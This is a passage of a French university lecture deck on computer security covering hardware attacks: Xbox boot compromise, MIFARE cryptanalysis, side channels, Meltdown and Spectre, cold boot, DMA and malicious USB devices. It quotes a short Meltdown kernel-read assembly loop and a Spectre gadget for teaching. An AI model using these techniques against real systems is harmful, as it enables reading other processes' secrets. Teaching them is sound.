0% ont trouvé ce document utile (0 vote)
295 vues188 pages

Introduction à la Sécurité Informatique

Ce document présente plusieurs exemples d'attaques matérielles, notamment sur la Xbox et les cartes MIFARE Classic. Il décrit comment espionner des bus pour récupérer des informations sensibles et comment exploiter des vulnérabilités au niveau matériel pour contourner les mesures de sécurité.

Transféré par

alleg
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
295 vues188 pages

Introduction à la Sécurité Informatique

Ce document présente plusieurs exemples d'attaques matérielles, notamment sur la Xbox et les cartes MIFARE Classic. Il décrit comment espionner des bus pour récupérer des informations sensibles et comment exploiter des vulnérabilités au niveau matériel pour contourner les mesures de sécurité.

Transféré par

alleg
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd

Sécurité Informatique

A not so short introduction...

Guillaume Duc
<[email protected]>
2020–2021
Première partie I

Introduction générale

2/187 Télécom Paris Guillaume Duc 2020–2021


Sécurité Informatique
Définitions

Sécurité ?
Informatique ?

3/187 Télécom Paris Guillaume Duc 2020–2021


Sécurité Informatique
Définitions

N’oubliez pas qu’un ordinateur ne se présente pas


seulement sous la forme d’un ordinateur fixe, d’un
ordinateur portable ou d’un serveur...
On trouve des ordinateurs sous de très nombreuses
formes : ce sont les Systèmes Embarqués
Ces systèmes sont également très susceptibles (parfois
même plus) aux problèmes de sécurité

4/187 Télécom Paris Guillaume Duc 2020–2021


Objectifs de sécurité & Modèle d’attaquant

Avant d’essayer de sécuriser un système, il est important


de se poser les questions suivantes
• Quels sont les éléments de valeur dans mon système ?
• Quelles propriétés de sécurité garantir sur ces éléments ?
• Quels sont les moyens à la disposition de l’attaquant ?
Les réponses à ces questions sont fondamentales (pour
bien protéger ce qui est important, pour ne pas
sous-dimensionner ou sur-dimensionner les protections)

5/187 Télécom Paris Guillaume Duc 2020–2021


Propriétés de sécurité
Confidentialité Garantir que seuls les personnes/programmes
autorisés peuvent accéder à une information
Intégrité Garantir qu’une information ne peut pas être
modifiée, involontairement ou volontairement, ou
garantir la détection de cette altération
Authentification Prouver l’identité d’une personne, d’un
programme, d’une machine, etc.
Disponibilité Garantir qu’un système reste en permanence
utilisable par les personnes autorisées
Traçabilité Permettre de savoir qui a fait quoi sur un système
informatique
Imputation, Non répudiation ...

6/187 Télécom Paris Guillaume Duc 2020–2021


Problème

Sécurité informatique = Sécurité d’une chaîne = Sécurité


du plus faible maillon
Or il y a (vraiment) beaucoup de maillons dans un système
informatique...

7/187 Télécom Paris Guillaume Duc 2020–2021


Objectifs de ce cours

Donner un aperçu le plus large possible des domaines


couverts par la sécurité informatique
• Matériel
• Système d’exploitation
• Logiciel
La partie réseau (également importante et très vaste) ne
sera pas abordée (mais elle est bien évidemment tout
aussi importante)
Présenter quelques attaques de façon détaillée dans
chacun des domaines

8/187 Télécom Paris Guillaume Duc 2020–2021


Objectifs de ce cours

Ce cours n’est pas une référence exhaustive (un cours de


référence couvrant tout le domaine ne peut pas être fait en
20 h, ni même en 100 h !)
Ce cours n’est peut être déjà plus à jour au moment où
vous le lirez (la sécurité informatique est un domaine en
mouvement permanent, de nouvelles attaques
apparaissent presque chaque jour...) !
Vous devrez vous tenir au courant de l’actualité du
domaine

9/187 Télécom Paris Guillaume Duc 2020–2021


Découpage du cours

Sécurité matérielle
Sécurité des systèmes d’exploitation
Sécurité des applications
Conclusion et ouverture

10/187 Télécom Paris Guillaume Duc 2020–2021


Deuxième partie II

Sécurité matérielle

11/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

12/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

13/187 Télécom Paris Guillaume Duc 2020–2021


Le matériel, c’est dépassé ?
Pourquoi parler du matériel à l’heure de la virtualisation et
du cloud computing à outrance ?
Les informations (programmes, données, etc.) sont
toujours traitées par du matériel, y compris dans le “cloud”
• Processeur
• Mémoire vive
• Stockage de masse
• Bus
• Périphériques (carte réseau, carte graphique, etc.)
Et le matériel est vulnérable à des attaques qui peuvent
remettre en cause la sécurité des couches logicielles
Ces attaques sont très présentes dans le monde des
systèmes embarqués mais concernent également les
ordinateurs plus classiques et les serveurs

14/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

15/187 Télécom Paris Guillaume Duc 2020–2021


Exemple : Microsoft XBox I
Exploit [11]

Objectif de sécurité : empêcher l’exécution de logiciels non


prévus (OS ou applications)
Chaîne de confiance : chaque étape déchiffre et vérifie la
suivante avant de l’exécuter
• Bloc de démarrage secret (ASIC Southbridge)
• Bootloader (Flash)
• Système d’exploitation (Flash)
• Applications (Disque dur ou support optique)

16/187 Télécom Paris Guillaume Duc 2020–2021


Exemple : Microsoft XBox I
Architecture matérielle

Source : Andrew “bunnie” Huang [11]

17/187 Télécom Paris Guillaume Duc 2020–2021


Exemple : Microsoft XBox I
Espionnage bus Northbridge/Southbridge

Au démarrage, le code du bloc de démarrage secret


transite par le bus Northbridge ↔ Southbridge
(HyperTransport) pour être exécuté par le processeur
Ce code a été récupéré (voir [11]) en espionnant ce bus et
analysé
Il effectue plusieurs opérations
• Initialisation du processeur et des périphériques (via une
petite machine virtuelle exécutant des instructions en
mémoire flash)
• Chargement et déchiffrement du bootloader depuis la flash
• Vérification de l’intégrité du bootloader
• Si le bootloader est bien celui attendu : lancement de ce
dernier

18/187 Télécom Paris Guillaume Duc 2020–2021


Exemple : Microsoft XBox I
Espionnage bus Northbridge/Southbridge

Source : Andrew “bunnie” Huang [11]

19/187 Télécom Paris Guillaume Duc 2020–2021


Exemple : Microsoft XBox I
Vulnérabilités du bloc de démarrage

Bootloader chiffré grâce à une variante de l’algorithme


RC-4 et une clé contenue dans le code de démarrage (qui
a été récupérée lors de l’espionnage du bus)
Vérification d’intégrité : valeur magique à la fin du
bootloader...
Instructions pour l’initialisation du système chargées
depuis une partie non protégée de la flash : possibilité de
les modifier pour configurer le système de afin de
démarrer même si la vérification du bootloader échoue
Avec ces informations, il est facile de générer un
bootloader qui soit correctement déchiffré et vérifié (et
donc accepté) par la XBox

20/187 Télécom Paris Guillaume Duc 2020–2021


MIFARE Classic

Carte sans contact (RFID) contenant de la mémoire non


volatile et un algorithme d’authentification secret
(Crypto-1) pour en protéger l’accès
Utilisé principalement pour du contrôle d’accès et du
ticketing (métro de Londres)
Henryk Plötz and Karsten Nohl [15] ont réussi à retrouver
l’algorithme
• Ils ont découpé et photographié les différentes couches du
circuit puis reconstitué le schéma électronique du circuit
En analysant l’algorithme, ils ont découvert plusieurs
faiblesses cryptographiques dans cet algorithme
http://events.ccc.de/congress/2007/Fahrplan/events/2378.en.html

21/187 Télécom Paris Guillaume Duc 2020–2021


MIFARE Classic [15]

22/187 Télécom Paris Guillaume Duc 2020–2021


MIFARE’s CRYPTO1 exposed [15]

Images of MIFARE by Karsten Nohl, David Evans, Starbug and Henryk Plötz

23/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

24/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

25/187 Télécom Paris Guillaume Duc 2020–2021


Introduction
Exemple

Algorithme de chiffrement par bloc contenu dans un circuit


électronique (implémenté en dur dans un ASIC ou un
FPGA ou réalisé grâce à du logiciel embarqué)
Entrée : message à chiffrer
Sortie : message chiffré
Par conception, la clé de chiffrement est embarquée dans
le circuit et n’est pas accessible

26/187 Télécom Paris Guillaume Duc 2020–2021


Vue mathématique

P E C

Principes de Kerckhoffs : P, C et E sont publics et la


sécurité ne dépend que de K qui est inconnue de
l’adversaire
Plusieurs algorithmes sont aujourd’hui considérés comme
incassables en pratique dans ce modèle

27/187 Télécom Paris Guillaume Duc 2020–2021


Dans la vraie vie...
... le matériel

Consommation Champ EM
K

P E C

Temps

Canaux auxiliaires (side channels)


• Rayonnement EM
• Consommation électrique
• Temps de calcul
• ...

28/187 Télécom Paris Guillaume Duc 2020–2021


Canaux auxiliaires
Problématique

Des opérations différentes ou des opérations identiques


sur des données différentes vont potentiellement entraîner
un comportement différent du circuit sur un (ou plusieurs)
de ses canaux auxiliaires (par exemple sa consommation)
Le circuit va donc laisser fuir de l’information sur les
opérations qu’il effectue ou les données qu’il manipule
En observant ces canaux auxiliaires, un adversaire peut
accumuler de l’information sur les opérations effectuées
par le circuit qui peuvent être liées au secret...

29/187 Télécom Paris Guillaume Duc 2020–2021


Simple Power Analysis (SPA)
Exemple sur RSA

Square-and-Multiply RSA Montgomery ladder exponentiation


Inputs : M , K
Inputs : M , K
R = 1; S = M ;
R = 1;
for i = |K | − 1 ; i ≥ 0 ; i − − do
for i = |K | − 1 ; i ≥ 0 ; i − − do
/* Balanced branching */
R = R2 ; if Ki == 1 then
/* Unbalanced branching */
R = R × S ; S = S2 ;
if Ki == 1 then
else
R = R ×M;
S = S × R ; R = R2 ;
end if
end if
end for
end for
Return R = M K ;
Return R = M K ;

S M S M S S M S

’1’ ’1’ ’0’ ’1’ ···

30/187 Télécom Paris Guillaume Duc 2020–2021


Differential Power Analysis (DPA)

Très souvent, la fuite sur le canal auxiliaire n’est pas aussi


flagrante
Utilisation de nombreuses mesures (traces) et d’outils
statistiques pour la détecter
Attaques DPA (Différence de moyennes), CPA
(Corrélation), VPA (Variance), MIA (Information mutuelle),
etc.

31/187 Télécom Paris Guillaume Duc 2020–2021


SCA
Un peu de recul

Consommation : nécessite un accès physique direct au


composant
Rayonnement EM : exploitable à faible distance
Temps de calcul : exploitable à distance, y compris à
travers un réseau
• Vol de clés RSA à distance via le réseau...
Plus récemment, les mécanismes d’optimisation présents
dans les processeurs ouvrent la voie à d’autres canaux
auxiliaires permettant d’aller voler des secrets d’une autre
application ou d’une autre machine virtuelle
• Caches (utilisés par les attaques Spectre et Meltdown
notamment)

32/187 Télécom Paris Guillaume Duc 2020–2021


SCA contre les caches

Le temps d’accès à une donnée varie en fonction de sa


présence ou non dans les caches du processeur
La présence ou l’absence d’une donnée dans le cache est
donc une information qui peut être retrouvée par une
attaque par canal auxiliaire basée sur la mesure du temps
d’exécution d’un accès à cette donnée
Les processeurs modernes intègrent souvent plusieurs
niveaux de caches, en général trois
• Un niveau L1, rattaché à un cœur, adressé virtuellement,
avec séparation Instructions / Données
• Un niveau L2 intermédiaire
• Un niveau L3, commun à l’ensemble des cœurs, adressé
physiquement et souvent inclusif

33/187 Télécom Paris Guillaume Duc 2020–2021


SCA contre les caches

Le but de l’attaque est de détecter si un processus a fait un


accès mémoire et à quelle adresse
Le processus visé peut être un processus attaqué ou un
processus complice qui souhaiterait faire fuir
silencieusement de l’information (covert-channel)
En cryptographie notamment, la connaissance des accès
mémoires effectués par un processus peut permettre dans
certains cas de retrouver des secrets
• Utilisation de tables pré-calculées
• Fonctions appelées...
Plusieurs techniques d’attaques : Evict+Time,
Prime+Probe, Flush+Reload...

34/187 Télécom Paris Guillaume Duc 2020–2021


SCA contre les caches
Exemple Flush+Reload [18]

On suppose que le processus cible et le processus


attaquant partagent une zone mémoire (explicitement via
un segment mémoire partagé via shmget, ou
implicitement : bibliothèques partagées)
Les données situées dans cette zone sont potentiellement
mappées à des adresses virtuelles différentes dans
l’espace d’adressage des deux processus mais seront
stockées aux mêmes adresses physiques

35/187 Télécom Paris Guillaume Duc 2020–2021


SCA contre les caches
Déroulement de l’attaque Flush+Reload [18]

Le processus attaquant évince des différents caches les


lignes intéressantes de la zone mémoire partagée
(instruction x86 clflush qui ne nécessite pas de
privilèges) puis laisse le processus cible s’exécuter
Si le processus cible fait des accès dans cette zone, les
données correspondantes vont être rapatriées dans le
cache L3 du processeur
Le processus attaquant reprend la main et mesure le
temps d’accès à une donnée de la zone partagée
• Si ce temps est court, cette donnée a été mise dans le
cache lors de l’exécution du processus cible (accès direct
ou spéculatif par le prefetcher )
• Si le temps est long, la donnée n’a pas été accédée par le
processus cible

36/187 Télécom Paris Guillaume Duc 2020–2021


Contre-mesures aux SCA

Équilibrage : rendre la consommation/rayonnement/temps


de calcul indépendante des données
Masquage : obliger l’attaquant à récupérer plusieurs
informations en même temps (attaques d’ordre élevé) en
rendant inutilisable seule une information fuitée

37/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

38/187 Télécom Paris Guillaume Duc 2020–2021


Techniques

Rétro-conception
Modification
Micro-sondes
Injection de fautes
...

39/187 Télécom Paris Guillaume Duc 2020–2021


Modification d’un circuit à l’aide d’un FIB
(Focused Ion Beam)

Désactivation de capteurs
de sécurité
Restauration de fusibles
(test mode...)
Technique ultime
Image issue de la thèse de Christophe
Giraud [7]

40/187 Télécom Paris Guillaume Duc 2020–2021


Micro sondes

Permet par exemple de lire


les données circulant sur
un bus interne
Technique très puissante
Permet de lire que
quelques fils en même
temps et seulement sur le
niveaux de métallisation
supérieurs
Image issue de la thèse de Christophe
Giraud [7]

41/187 Télécom Paris Guillaume Duc 2020–2021


Injection de fautes

Principe
• Il s’agit de perturber volontairement le fonctionnement du
circuit pour lui faire commettre des erreurs
• Ces erreurs peuvent mener à
– Le saut d’un instruction (par exemple un test)
– Un erreur dans le résultat (très dangereux en crypto)...
Réalisation
• Violation du chemin critique (augmentation de la fréquence
de fonctionnement, augmentation de la température,
diminution de la tension d’alimentation, etc.)
• Injection de particules énergétiques (flash, laser,
rayonnement ionisant)

42/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

43/187 Télécom Paris Guillaume Duc 2020–2021


Bugs matériels

Les processeurs actuels comportent plusieurs centaines


de millions de transistors et incluent de nombreux
mécanismes pour accélérer les traitement
• Exécution out-of-order
• Prédiction de branchement
• Multi-threading
• Renommage de registre...
Tout comme les logiciels, ils ne sont pas à l’abri de bugs,
pouvant remettre en cause la sécurité

44/187 Télécom Paris Guillaume Duc 2020–2021


Bugs processeur

Le bug le plus connu est celui de la division fautive du


Pentium découvert en 1994
Autre bug connu du Pentium : le F0 0F
• L’instruction lock cmpxchg8b eax (en code machine f0 0f
c7 c8) qui devrait normalement lever une exception fait
planter le processeur qui doit alors être reinitialisé
• Comme cette instruction peut être exécutée sans
privilèges, cela crée un déni de service (un bug similaire
existe dans les processeurs Cyrix)

45/187 Télécom Paris Guillaume Duc 2020–2021


Bugs processeur

Les bugs des processeurs sont souvent inconnus du grand


public
Mais, s’ils touchent des fonctionnalités liées à la protection
mémoire, ils peuvent avoir un impact important sur la
sécurité
Et quid des bugs qui n’en seraient pas (portes dérobées) ?
Il est assez facile d’introduire une porte dérobée dans un
processeur... (cf. [5])

46/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

47/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Meltdown [13]
Exécution des instructions dans le désordre (out-of-order )
• Les processeurs disposent de plusieurs unités de calcul et
de traitement (plusieurs ALU...)
• Afin de maximiser l’utilisation de ces ressources, les
instructions sont réordonnées (en conservant les
dépendances éventuelles)
Exécution spéculative
• Des instructions peuvent être exécutées avant d’être
certain qu’elles doivent l’être (i.e. après un saut
conditionnel, avant d’avoir vérifié que les instructions
précédentes ne génèrent pas d’exceptions...)
• Si elles ne devaient pas l’être, leurs résultats sont annulés
et aucun effet n’est visible par le logiciel
• Néanmoins, l’exécution de ces instructions peut laisser des
traces au niveau micro-architecture qui peuvent être
détectées

48/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Meltdown [13]
Exemple simple

Considérons le code suivant (exemple tiré de [13]) :


exception();
accès mémoire(tableau[donnée * 4096]);
Normalement la seconde instruction n’est pas exécutée
Mais à cause de l’exécution spéculative dans le désordre,
elle peut être exécutée avant que le processeur ne
s’aperçoive qu’il ne devait pas le faire
L’effet de cette instruction sera annulé (registre de
destination restauré) mais elle aura eu un effet de bord sur
le cache

49/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Meltdown [13]
Exemple simple, suite

En effet, l’accès mémoire va placer la ligne située à


l’adresse tableau[donnée * 4096] dans le cache du
processeur
Il est possible pour un autre processus, via une attaque
par canal auxiliaire contre le cache, de détecter ce
chargement et de retrouver l’adresse accédée (et donc ici,
la valeur de donnée)

50/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Meltdown [13]
Application à la lecture de toute la mémoire

Pour des questions de performance, dans de nombreux


systèmes d’exploitation, le code et les données du noyau
sont mappés dans l’espace d’adressage de chaque
processus
De même pour l’intégralité de la mémoire physique (sur les
systèmes 64 bits)
Ces adresses sont simplement marquées comme non
accessibles depuis l’espace utilisateur au niveau de la
MMU
Donc si un processus essaie d’accéder à ces adresses, la
MMU va déclencher une exception et le processus va être
tué par le système d’exploitation

51/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Meltdown [13]
Application à la lecture de toute la mémoire
Exemple, cartographie mémoire sous Linux sur
architecture x86_64 (cf.
Documentation/x86/x86_64/mm.txt)
0000000000000000 - 00007fffffffffff (=47 bits) user space, different per mm
hole caused by [47:63] sign extension
ffff800000000000 - ffff87ffffffffff (=43 bits) guard hole, reserved for hypervisor
ffff880000000000 - ffffc7ffffffffff (=64 TB) direct mapping of all phys. memory
ffffc80000000000 - ffffc8ffffffffff (=40 bits) hole
ffffc90000000000 - ffffe8ffffffffff (=45 bits) vmalloc/ioremap space
ffffe90000000000 - ffffe9ffffffffff (=40 bits) hole
ffffea0000000000 - ffffeaffffffffff (=40 bits) virtual memory map (1TB)
... unused hole ...
ffffec0000000000 - fffffbffffffffff (=44 bits) kasan shadow memory (16TB)
... unused hole ...
fffffe0000000000 - fffffe7fffffffff (=39 bits) LDT remap for PTI
fffffe8000000000 - fffffeffffffffff (=39 bits) cpu_entry_area mapping
ffffff0000000000 - ffffff7fffffffff (=39 bits) %esp fixup stacks
... unused hole ...
ffffffef00000000 - fffffffeffffffff (=64 GB) EFI region mapping space
... unused hole ...
ffffffff80000000 - ffffffff9fffffff (=512 MB) kernel text mapping, from phys 0
ffffffffa0000000 - (fixmap start) ( 1526 MB) module mapping space (variable)
(fixmap start) - ffffffffff5fffff kernel-internal fixmap range
ffffffffff600000 - ffffffffff600fff (=4 kB) legacy vsyscall ABI
ffffffffffe00000 - ffffffffffffffff (=2 MB) unused hole

52/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Meltdown [13]
Application à la lecture de toute la mémoire

; rcx = kernel address


; rbx = probe array
retry:
mov al, byte [rcx] ; RAX[7:0] = RAM[RCX] -> Exception
shl rax, 0xc ; RAX = RAX * 4096
jz retry ; if RAX == 0 goto retry
mov rbx, qword [rbx + rax] ; RAM[RBX+RAX] = RBX

53/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Meltdown [13]
Application à la lecture de toute la mémoire

Pendant que la première instruction s’exécute, les trois


instructions suivantes (qui en dépendent) sont mises en
attente
Dès que le résultat de la lecture est disponible, ces trois
instructions commencent à s’exécuter
La première instruction déclenche une exception (accès
invalide à une adresse noyau depuis l’espace utilisateur)
Si la dernière instruction a le temps de commencer à
s’exécuter, la ligne dont l’adresse est RBX+RAX est chargée
dans le cache du processeur
Or cette adresse dépend de la donnée lue par la première
instruction

54/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Meltdown [13]
Application à la lecture de toute la mémoire

Certes, le processus est tué dans l’opération (il est


possible sur certaines architectures d’empêcher
l’exception sans pour autant permettre l’accès direct au
registre impacté)
Mais un processus complice peut récupérer l’adresse
accédée via une attaque SCA contre le cache et donc en
déduire la donnée lue dans la zone noyau
Comme l’intégralité de la mémoire physique est mappée
dans l’espace noyau, il est ainsi possible de lire le contenu
de toute la RAM physique

55/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Meltdown [13]
Solutions

Au niveau logiciel, il est possible de limiter l’impact de cette


attaque en arrêtant de mapper les structures du noyau
dans l’espace utilisateur
KAISER [9]
Impact non négligeable sur les performances car nécessité
de modifier les tables de page à lors des basculements
espace utilisateur / espace noyau

56/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Spectre [12]
Dans les différentes variantes de l’attaque Spectre, les
mécanismes de prédiction de branchement du processeur
sont visés ainsi que l’exécution spéculative qui en résulte
• Lors d’une instruction de branchement conditionnel, le
processeur fait une hypothèse sur le résultat de ce
branchement et commence à exécuter spéculativement les
instructions suivantes
• Lors d’une instruction de saut, le processeur prédit
également l’adresse de destination du saut
Ces deux mécanismes fonctionnent avec apprentissage et
cet apprentissage peut être utilisé par l’attaquant pour
forcer l’exécution spéculative d’une portion de code qui ne
devrait pas l’être
Cette exécution spéculative va laisser des traces,
notamment au niveau du cache, qui vont pouvoir être
exploitées comme pour l’attaque Meltdown

57/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Spectre [12]
Variante 1

Dans le code du processus visé (exemple tiré de [12])

if (x < array1_size)
y = array2[array1[x] * 256]

Hypothèses
• x est contrôlable par l’adversaire et est choisi (hors des
limites du tableau) de manière à ce que array1[x] pointe
vers une valeur secrète k
• array1_size et array2 ne sont pas présents dans le cache
mais k l’est
• Lors des exécutions précédentes du test, la valeur de x
fournie était correcte et donc le prédicteur de branchement
va considérer que le résultat du test sera probablement vrai

58/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Spectre [12]
Variante 1
Lors de l’exécution avec la valeur de x malicieuse,
array_size n’étant pas dans le cache, le processeur se
base sur la prédiction de branchement et se met à
exécuter spéculativement l’instruction suivante en
attendant la lecture de array_size
La valeur de array1[x] (k ) étant connue, le processeur
peut commencer tout de suite la lecture à l’adresse
array2[array1[x] * 256], qui n’étant pas dans le cache,
sera rapatriée depuis la mémoire
Lorsque le résultat du test est finalement connu, l’effet de
la seconde instruction est annulé
Néanmoins, une ligne de cache dont l’adresse dépend de
la valeur secrète k aura été chargée dans le cache et donc
une attaque SCA contre ce dernier permettra de retrouver
k

59/187 Télécom Paris Guillaume Duc 2020–2021


Attaque Spectre [12]
Variante 2

L’adresse de destination d’un saut n’est pas toujours


connue (ex. instruction jmp [eax])
Si la détermination de la destination du saut est retardée
par un défaut de cache, le processeur va utiliser le
prédicteur de branchement pour la deviner et exécuter
spéculativement les instructions
Si ce mécanisme peut être entraîné malicieusement par
l’adversaire, ce dernier peut s’en servir pour faire exécuter
spéculativement des instructions à des adresses qu’il a
choisies (similaire au ROP)
L’adversaire choisi ces instructions de telle sorte à ce
qu’elles fassent fuir de l’information sensible via le cache

60/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

61/187 Télécom Paris Guillaume Duc 2020–2021


Espionnage du bus mémoire

Si un adversaire peut espionner le bus mémoire (ou la


mémoire directement), il peut
• Récupérer le code exécuté
• Récupérer les données manipulées par l’application
• Perturber le code ou les données d’une application
L’espionnage de la mémoire peut être plus ou moins
intrusif en fonction des systèmes

62/187 Télécom Paris Guillaume Duc 2020–2021


Espionnage de la mémoire
Exemple : Cold Boot Attack [10]

Lors d’une interruption d’alimentation, les données


stockées dans une mémoire DRAM ne disparaissent pas
instantanément (rémanence)
Plus la température est basse, plus cette rémanence est
importante
Cette propriété peut être utilisée pour voler des données
en RAM (exemple : clés de chiffrement de disque dur dans
le contexte evil maid)

63/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

64/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

65/187 Télécom Paris Guillaume Duc 2020–2021


Problématique générale
Attaques DMA

Pour des raisons de performance, les périphériques ont


souvent un accès direct à la mémoire centrale
Cet accès se fait principalement par l’intermédiaire du
mécanisme de DMA (Direct Memory Access)
L’accès contourne en général (sauf architectures disposant
d’IOMMU : Intel VT-d par exemple) la MMU et donc les
restrictions d’accès mises en place par l’OS
Si l’adversaire arrive à prendre le contrôle d’un
périphérique, il peut alors accéder (lecture / écriture) à
toute la mémoire, y compris les zones mémoires occupées
par l’OS

66/187 Télécom Paris Guillaume Duc 2020–2021


Exemple : Carte réseau moderne

Elle fait plus que connecter un ordinateur au réseau


Architecture matérielle complexe, presque un ordinateur à
elle seule
• Processeur
• Mémoire
Fait tourner un logiciel embarqué (firmware) qui fait
beaucoup de choses
• Soulage le processeur principal (calcul des sommes de
contrôle, gestion de la fragmentation TCP...)
• Gère la partie réseau avec parfois des contraintes temps
réel (IEEE 802.11, 2/3G...)
• Gère, sur les modèles haut de gamme, de l’administration à
distance

67/187 Télécom Paris Guillaume Duc 2020–2021


Exemple : Carte réseau moderne
Impacts sur la sécurité

Si un adversaire arrive à exécuter du code arbitraire sur la


carte, il peut faire
• Déni de service (suppression de tous les paquets ou de
certains paquets)
• Empoisonnement de cache ARP et/ou DNS
• Et surtout : attaquer l’hôte via des accès en lecture ou
écriture vers la mémoire principale

68/187 Télécom Paris Guillaume Duc 2020–2021


Exemple : Carte réseau moderne
Problème

Sur certaines cartes, des failles de sécurité on été


découvertes [6] dans certaines cartes réseau au niveau du
traitement des paquets RMCP (Remote Management and
Control Protocol)
Il était possible, à distance, d’injecter et de faire exécuter
du code par la carte réseau cible...
Au delà de cet faille, la complexité des firmwares
augmentant, ce risque augmente également...

69/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

70/187 Télécom Paris Guillaume Duc 2020–2021


Périphériques USB malicieux

Les périphériques USB sont un peu trop “plug and play”...


Il est assez simple de faire passez un périphérique USB
un peu intelligent (smartphone ou clé USB trafiquée) pour
un autre périphérique [3]
• Faire passer le périphérique pour un clavier par exemple et
envoyer une combinaison de touches particulière (par
exemple le raccourci clavier de la fonction Exécuter puis le
nom d’une commande et la touche Entrée)

71/187 Télécom Paris Guillaume Duc 2020–2021


Périphériques USB malicieux
PoisonTap [1]

Une fois branché sur le port USB, il se fait passer pour une
interface réseau (Ethernet over USB)
Il répond aux requêtes DHCP envoyées par l’ordinateur
(automatiquement) en indiquant que l’ensemble de
l’espace d’adressage IPv4 fait partie de son réseau local
Tout le trafic réseau de l’ordinateur est alors redirigé
automatiquement vers le PoisonTap (le trafic local est
prioritaire)

72/187 Télécom Paris Guillaume Duc 2020–2021


Périphériques USB malicieux
PoisonTap [1]

Si un navigateur fait un accès HTTP (par exemple un


navigateur qui fonctionne en arrière plan), cet accès est
intercepté par le PoisonTap
